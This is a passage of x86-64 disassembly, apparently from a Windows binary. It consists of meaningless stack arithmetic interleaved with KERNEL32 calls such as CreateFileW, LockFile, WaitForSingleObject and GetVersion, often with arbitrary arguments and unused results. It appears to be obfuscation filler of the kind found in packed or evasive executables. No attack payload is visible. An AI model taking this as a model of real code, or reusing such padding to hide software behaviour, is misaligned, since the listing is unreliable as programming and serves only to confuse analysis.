mov eax, dword [rsp + 0x94d0]
mov ecx, dword [rsp + 0xa200]
add ecx, eax
mov eax, ecx
mov dword [0x140369e30], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.xp0j02_algK9m5X
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15878], rax
mov edx, 0x7ef
mov rcx, qword [rsp + 0x13618]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9b80], eax
mov rax, qword [rsp + 0x132a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a10]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14df8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13450]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14d70]
mov qword [rsp + 0x15880], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15880]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x13b90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13048]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9f3c]
shl eax, cl
mov dword [rsp + 0x8114], eax
mov rax, qword [0x140369ce8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134d0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x37b], al
mov rax, qword [rsp + 0x14730]
movzx eax, word [rax]
mov word [rsp + 0x2da0], ax
mov rax, qword [rsp + 0x13cc0]
mov rcx, qword [0x140369d18]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14338]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8ee8]
mov ecx, dword [rsp + 0x9bdc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f1c], eax
lea rax, [rsp + 0x98e4]
mov qword [rsp + 0x15888], rax
mov eax, dword [0x140362508]
mov ecx, dword [rsp + 0x5ac8]
and ecx, eax
mov eax, ecx
mov dword [0x14036a108], eax
mov rax, qword [rsp + 0x13020]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c50]
sub eax, ecx
mov rcx, qword [rsp + 0x14dc0]
mov word [rcx], ax
lea rax, [rsp + 0x49b]
mov qword [rsp + 0x15890], rax
mov rax, qword [rsp + 0x13468]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14488]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ba0], ax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x142e0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x74b], al
lea rax, [rsp + 0x9f1c]
mov qword [rsp + 0x15898], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x39aa
mov r8d, 0x3cc1
mov edx, 0xe4
mov rcx, qword [rsp + 0x13648]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9c4c], eax
mov eax, dword [0x1403624ec]
mov ecx, dword [rsp + 0x81e0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13548]
mov dword [rcx], eax
lea rax, [rsp + 0x37f]
mov qword [rsp + 0x158a0], rax
movzx eax, word [rsp + 0x2d38]
movzx ecx, word [rsp + 0x2ca0]
and eax, ecx
mov word [rsp + 0x2b90], ax
mov eax, dword [rsp + 0x7b14]
mov ecx, dword [rsp + 0x9b50]
or ecx, eax
mov eax, ecx
mov dword [0x140362528], eax
mov rax, qword [rsp + 0x130d0]
mov rcx, qword [rsp + 0x132b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9ce4], eax
mov eax, dword [rsp + 0xa0e0]
mov dword [rsp + 0xa26c], eax
mov rax, qword [rsp + 0x14818]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa1a0]
shr eax, cl
mov dword [rsp + 0x8dcc], eax
mov rax, qword [rsp + 0x13a08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13f08]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x20f8], ax
movzx eax, byte [rsp + 0x1f3]
cdq
mov ecx, 0xbb
idiv ecx
mov rcx, qword [rsp + 0x15270]
mov byte [rcx], al
lea rax, [rsp + 0x871c]
mov qword [rsp + 0x158a8], rax
mov rax, qword [rsp + 0x14310]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d4c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x144a0]
mov dword [rcx], eax
mov rax, qword [0x14036a120]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9abc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a48]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x158b0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa0a0], eax
mov rax, qword [rsp + 0x14cc0]
mov rcx, qword [rsp + 0x13108]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14036a1ac], eax
lea rax, [rsp + 0x7c50]
mov qword [rsp + 0x158b8], rax
mov rax, qword [rsp + 0x14e10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13658]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x136a0]
mov word [rcx], ax
lea rax, [rsp + 0x761]
mov qword [rsp + 0x158c0], rax
mov rax, qword [rsp + 0x14898]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14ba0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13d50]
mov word [rcx], ax
movzx eax, byte [0x1403525d6]
mov rcx, qword [rsp + 0x13bb8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x746], al
lea rax, [rsp + 0x93fc]
mov qword [rsp + 0x158c8], rax
mov edx, 0x572
mov rcx, qword [rsp + 0x13458]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa060], eax
mov eax, dword [rsp + 0x9640]
mov ecx, dword [rsp + 0xa134]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15730]
mov dword [rcx], eax
mov rax, qword [0x14036a098]
movzx eax, word [rax]
mov word [rsp + 0x2da4], ax
lea rax, [rsp + 0x74]
mov qword [0x14036a250], rax
mov rax, qword [rsp + 0x13778]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8c68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14df0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14370]
mov ecx, dword [rsp + 0x9b2c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8870], eax
mov eax, dword [rsp + 0x9cf0]
mov ecx, dword [rsp + 0xa024]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5354], eax
mov rax, qword [rsp + 0x144f0]
mov rcx, qword [0x140369f78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12d88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14b88]
movzx eax, word [rax]
mov word [rsp + 0x2da8], ax
movzx eax, byte [rsp + 0x1f7]
movzx ecx, byte [rsp + 0x798]
or eax, ecx
mov rcx, qword [rsp + 0x14660]
mov byte [rcx], al
mov eax, dword [rsp + 0x94d0]
mov dword [rsp + 0xa270], eax
mov rax, qword [rsp + 0x151f0]
mov ecx, dword [rsp + 0x9ea0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13cf8]
mov dword [rcx], eax
lea rax, [rsp + 0x1570]
mov qword [0x14036a258], rax
mov rax, qword [rsp + 0x13a40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x319]
shl eax, cl
mov rcx, qword [rsp + 0x13188]
mov byte [rcx], al
movzx eax, byte [0x140363edf]
movzx ecx, byte [rsp + 0x2b0]
sar eax, cl
mov byte [rsp + 0xeb], al
mov rax, qword [rsp + 0x151b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14c48]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x145d0]
mov word [rcx], ax
mov eax, dword [rsp + 0x8e2c]
mov dword [rsp + 0xa274], eax
mov rax, qword [0x14036a0e0]
mov rcx, qword [rsp + 0x14e50]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x150e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee8]
mov rcx, qword [rsp + 0x13750]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9da4], eax
lea rax, [rsp + 0x9dd0]
mov qword [rsp + 0x158d0], rax
mov rax, qword [rsp + 0x144a8]
mov eax, dword [rax]
mov ecx, dword [0x140369b9c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8870], eax
mov rax, qword [rsp + 0x156f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14510]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x696], al
mov rax, qword [rsp + 0x143a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d98]
and eax, ecx
mov rcx, qword [0x140369c18]
mov word [rcx], ax
mov rax, qword [rsp + 0x156f8]
mov ecx, dword [rsp + 0x5284]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9f58], eax
mov rax, qword [rsp + 0x14860]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9dc8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132a8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14cb8]
mov eax, dword [rax]
mov dword [rsp + 0xa278], eax
mov rax, qword [rsp + 0x13758]
mov rcx, qword [rsp + 0x14290]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15740]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13110]
movzx eax, word [rax]
movzx ecx, word [0x1403624bc]
sub eax, ecx
mov word [rsp + 0x197c], ax
movzx eax, byte [rsp + 0x27e]
movzx ecx, byte [rsp + 0x702]
add eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov byte [rcx], al
movsx eax, byte [rsp + 0x559]
mov rcx, qword [rsp + 0x139f8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x131b0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2094]
mov word [rsp + 0x2dac], ax
lea rax, [rsp + 0x9dd8]
mov qword [0x14036a260], rax
mov eax, dword [rsp + 0xa164]
mov rcx, qword [rsp + 0x13b30]
mov qword [rsp + 0x158d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x158d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9aa0], eax
movzx eax, byte [0x1403525af]
mov byte [rsp + 0x7a7], al
mov rax, qword [rsp + 0x145a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13d8]
xor eax, ecx
mov rcx, qword [rsp + 0x14560]
mov word [rcx], ax
mov eax, dword [rsp + 0x9ca4]
mov rcx, qword [rsp + 0x13e20]
mov qword [rsp + 0x158e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x158e0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x8590], eax
mov rax, qword [rsp + 0x154d8]
mov ecx, dword [rsp + 0x9e68]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x144f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14b18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ed4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a24], eax
mov rax, qword [rsp + 0x13b30]
mov eax, dword [rax]
mov dword [rsp + 0xa27c], eax
mov rax, qword [0x140369fb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x788]
and eax, ecx
mov byte [rsp + 0x79c], al
movzx eax, word [rsp + 0x2c80]
mov rcx, qword [rsp + 0x14f70]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14036a1a0], ax
mov rcx, qword [rsp + 0x13b60]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x9d48]
mov ecx, dword [rsp + 0x63b4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x70e4], eax
mov rax, qword [rsp + 0x13f80]
mov ecx, dword [rsp + 0x82a8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14bc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x149c0]
mov rcx, qword [0x14036a190]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x147e8]
mov dword [rcx], eax
lea rax, [rsp + 0xa220]
mov qword [rsp + 0x158e8], rax
mov rax, qword [rsp + 0x142c0]
mov ecx, dword [rsp + 0x9e6c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5c50], eax
mov rcx, qword [rsp + 0x13910]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x2c44]
mov word [rsp + 0x2db0], ax
mov rax, qword [0x14036a010]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x139c0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x157d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13998]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13c60]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15058]
mov word [rcx], ax
movzx eax, byte [rsp + 0x104]
mov byte [0x140363f87], al
mov dword [rsp + 0x20], 0xd8
mov r9d, 0x331a
mov r8d, 0x1edb
mov edx, 0x2e74
mov rcx, qword [rsp + 0x134a8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9c18], eax
lea rax, [0x140369ce0]
mov qword [rsp + 0x158f0], rax
mov rax, qword [rsp + 0x15338]
mov rcx, qword [rsp + 0x15550]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x158f0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x7a5]
mov byte [rsp + 0x7a8], al
mov rax, qword [rsp + 0x13410]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13500]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x146f8]
mov word [rcx], ax
mov eax, dword [rsp + 0x9ca4]
mov rcx, qword [rsp + 0x14840]
mov qword [rsp + 0x158f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x158f8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14980]
mov dword [rcx], eax
mov eax, dword [0x140369fa8]
mov rcx, qword [rsp + 0x15168]
mov qword [rsp + 0x15900], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15900]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6874], eax
mov eax, dword [rsp + 0xa1ec]
mov ecx, dword [rsp + 0x5c30]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b84], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x15908], rax
mov eax, dword [rsp + 0x9a90]
mov dword [rsp + 0xa280], eax
mov rax, qword [rsp + 0x13cd8]
movzx eax, word [rax]
mov rcx, qword [0x14036a060]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [0x140369df0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14288]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15040]
mov byte [rcx], al
mov rax, qword [rsp + 0x12de0]
mov ecx, dword [rsp + 0x9354]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7cac], eax
mov rax, qword [rsp + 0x139b8]
mov eax, dword [rax]
mov ecx, dword [0x140369e30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e58], eax
mov rax, qword [rsp + 0x149f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x77a]
and eax, ecx
mov byte [rsp + 0x736], al
mov dword [rsp + 0x20], 0x393
mov r9d, 0x27bc
mov r8d, 0x3302
mov edx, 0x30d1
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9e28], eax
mov rax, qword [rsp + 0x14960]
movzx eax, word [rax]
mov word [rsp + 0x2db4], ax
mov rax, qword [0x140369ef0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10d4], ax
mov rax, qword [rsp + 0x14090]
movzx eax, byte [rax]
mov byte [rsp + 0x7a9], al
mov rax, qword [rsp + 0x13070]
mov rcx, qword [0x140369e58]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9d38], eax
mov rax, qword [rsp + 0x152c8]
mov eax, dword [rax]
mov dword [0x14036a268], eax
mov rax, qword [rsp + 0x137f8]
mov rcx, qword [rsp + 0x13488]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14bc0]
mov dword [rcx], eax
lea rax, [rsp + 0x8f30]
mov qword [rsp + 0x15910], rax
mov rax, qword [0x14036a1f0]
mov rcx, qword [rsp + 0x14968]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9e44], eax
movzx eax, byte [rsp + 0x49b]
mov rcx, qword [rsp + 0x13a90]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x384], al
mov rax, qword [rsp + 0x152e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13110]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2740], ax
mov rax, qword [rsp + 0x13fe0]
mov ecx, dword [rsp + 0x755c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9e80], eax
mov rax, qword [rsp + 0x15280]
mov eax, dword [rax]
mov dword [rsp + 0xa284], eax
mov rax, qword [rsp + 0x14438]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13f78]
mov qword [rsp + 0x15918], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15918]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x83e4], eax
mov rcx, qword [rsp + 0x136b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x14b80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14458]
mov qword [rsp + 0x15920], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15920]
mov eax, dword [rax]
sar eax, cl
mov dword [0x14036a0b0], eax
movzx eax, byte [rsp + 0x72d]
movzx ecx, byte [rsp + 0x7a4]
cdq
idiv ecx
mov byte [rsp + 0x61f], al
movzx eax, word [rsp + 0x1310]
mov rcx, qword [rsp + 0x153c0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1f18], ax
mov rcx, qword [rsp + 0x15208]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa288], eax
mov rax, qword [rsp + 0x13550]
movzx eax, byte [rax]
mov byte [rsp + 0x7aa], al
movsx eax, word [rsp + 0x2c54]
movsx ecx, word [rsp + 0x167c]
and eax, ecx
mov rcx, qword [rsp + 0x13230]
mov word [rcx], ax
mov rax, qword [rsp + 0x15220]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x87e8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x157c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9de0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c98], eax
movzx eax, word [rsp + 0x2ba4]
movzx ecx, word [rsp + 0x2c08]
sub eax, ecx
mov rcx, qword [rsp + 0x13c80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x510]
mov byte [rsp + 0x7ab], al
lea rax, [rsp + 0x9f0c]
mov qword [0x14036a270], rax
mov rax, qword [rsp + 0x146d8]
mov ecx, dword [0x140369be8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x59cc], eax
mov rax, qword [rsp + 0x14ae0]
mov rcx, qword [rsp + 0x13548]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7ccc], eax
mov edx, 0xb05
mov rcx, qword [rsp + 0x12f80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa080], eax
mov eax, dword [rsp + 0x9c28]
mov dword [rsp + 0xa28c], eax
movzx eax, word [rsp + 0x22fc]
movzx ecx, word [rsp + 0x2bc4]
or eax, ecx
mov rcx, qword [rsp + 0x138f8]
mov word [rcx], ax
lea rax, [rsp + 0x72a]
mov qword [rsp + 0x15928], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa060], eax
mov eax, dword [rsp + 0x9ed4]
mov ecx, dword [rsp + 0xa280]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x150f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6524]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x152a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa008]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8074], eax
mov rax, qword [0x140369e50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14e88]
mov qword [rsp + 0x15930], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15930]
mov eax, dword [rax]
sar eax, cl
mov dword [0x1403624c0], eax
mov eax, dword [rsp + 0x5c50]
mov rcx, qword [rsp + 0x140b8]
mov qword [rsp + 0x15938], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15938]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9ed4], eax
lea rax, [rsp + 0x519]
mov qword [rsp + 0x15940], rax
mov rax, qword [rsp + 0x14d60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x155e8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x157f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13f90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2dd]
imul eax, ecx
mov rcx, qword [rsp + 0x130b8]
mov byte [rcx], al
movzx eax, word [rsp + 0x2da8]
mov word [rsp + 0x2db8], ax
mov rax, qword [rsp + 0x142b8]
mov rcx, qword [rsp + 0x158c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14ed8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12dd0]
mov ecx, dword [rsp + 0x9ef4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8308], eax
mov rax, qword [rsp + 0x15820]
movzx eax, byte [rax]
mov rcx, qword [0x140369d40]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x790], al
mov qword [rsp + 0x20], 0
mov r9d, 0x2291
mov r8d, 0x2337
mov edx, 0xc8
mov rcx, qword [rsp + 0x13d30]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa290], eax
mov rax, qword [rsp + 0x13b20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14dc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14036252c], ax
lea rax, [rsp + 0x6850]
mov qword [rsp + 0x15948], rax
mov eax, dword [0x14036a220]
mov ecx, dword [rsp + 0x9f6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x63d4], eax
mov eax, dword [rsp + 0x873c]
mov ecx, dword [rsp + 0x7df0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x94d0], eax
mov eax, dword [rsp + 0x5b48]
mov dword [rsp + 0xa294], eax
mov rax, qword [rsp + 0x12f70]
movzx eax, byte [rax]
movzx ecx, byte [0x140363f85]
sub eax, ecx
mov rcx, qword [rsp + 0x13bb8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x15068]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x12c4]
mov word [rsp + 0x2dbc], ax
mov rax, qword [rsp + 0x14f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e30]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15218]
mov dword [rcx], eax
mov eax, dword [0x14036a00c]
mov ecx, dword [rsp + 0x9ac8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13300]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15940]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x131b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1403525a2], al
movsx eax, word [rsp + 0x268c]
mov rcx, qword [0x140369f18]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x17f8], ax
mov rcx, qword [rsp + 0x12f98]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x10d4]
movzx ecx, word [rsp + 0x20f8]
xor eax, ecx
mov rcx, qword [rsp + 0x13f08]
mov word [rcx], ax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4b490]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa298], eax
mov rax, qword [rsp + 0x15148]
movzx eax, byte [rax]
mov byte [rsp + 0x7ac], al
mov eax, dword [rsp + 0x777c]
mov rcx, qword [rsp + 0x13978]
mov qword [rsp + 0x15950], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15950]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9808], eax
mov rax, qword [rsp + 0x13070]
mov rcx, qword [rsp + 0x15158]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9cc8], eax
mov rax, qword [rsp + 0x135d8]
mov ecx, dword [rsp + 0x9aa4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x54bc], eax
mov eax, dword [rsp + 0x5b9c]
mov ecx, dword [0x140369c68]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa1ac], eax
mov rcx, qword [rsp + 0x14590]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9ad8], eax
lea rax, [rsp + 0x9e04]
mov qword [rsp + 0x15958], rax
movzx eax, byte [rsp + 0x75b]
movzx ecx, byte [rsp + 0x799]
imul eax, ecx
mov rcx, qword [rsp + 0x156e0]
mov byte [rcx], al
lea rax, [0x140369bd8]
mov qword [0x14036a278], rax
lea rax, [rsp + 0x87e8]
mov qword [rsp + 0x15960], rax
mov eax, dword [rsp + 0x9d04]
mov ecx, dword [rsp + 0x9c6c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa024]
mov ecx, dword [rsp + 0x9db0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f0], eax
lea rax, [rsp + 0x777c]
mov qword [rsp + 0x15968], rax
movzx eax, word [rsp + 0x137c]
movzx ecx, word [rsp + 0x10d4]
sub eax, ecx
mov rcx, qword [rsp + 0x15480]
mov word [rcx], ax
mov rax, qword [rsp + 0x14e78]
movzx eax, byte [rax]
mov byte [rsp + 0x7ad], al
mov rax, qword [rsp + 0x13f00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13788]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6a8], al
mov rax, qword [rsp + 0x14280]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13310]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1690], ax
mov rax, qword [rsp + 0x137c8]
mov eax, dword [rax]
mov ecx, dword [0x140369dfc]
add ecx, eax
mov eax, ecx
mov dword [0x140369d90], eax
lea rax, [rsp + 0x9b98]
mov qword [rsp + 0x15970], rax
movzx eax, word [rsp + 0x15c4]
movzx ecx, word [rsp + 0x2324]
add eax, ecx
mov rcx, qword [rsp + 0x13158]
mov word [rcx], ax
lea rax, [0x140363f85]
mov qword [rsp + 0x15978], rax
mov rax, qword [rsp + 0x14c18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9db8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa09c], eax
mov eax, dword [rsp + 0x9ba8]
mov rcx, qword [rsp + 0x14128]
mov qword [rsp + 0x15980], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15980]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x155a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14710]
mov eax, dword [rax]
mov dword [rsp + 0xa29c], eax
mov eax, dword [rsp + 0x9d2c]
mov ecx, dword [rsp + 0x9f28]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9198], eax
movzx eax, word [rsp + 0x2c98]
mov rcx, qword [0x14036a110]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x269c], ax
mov rax, qword [rsp + 0x14548]
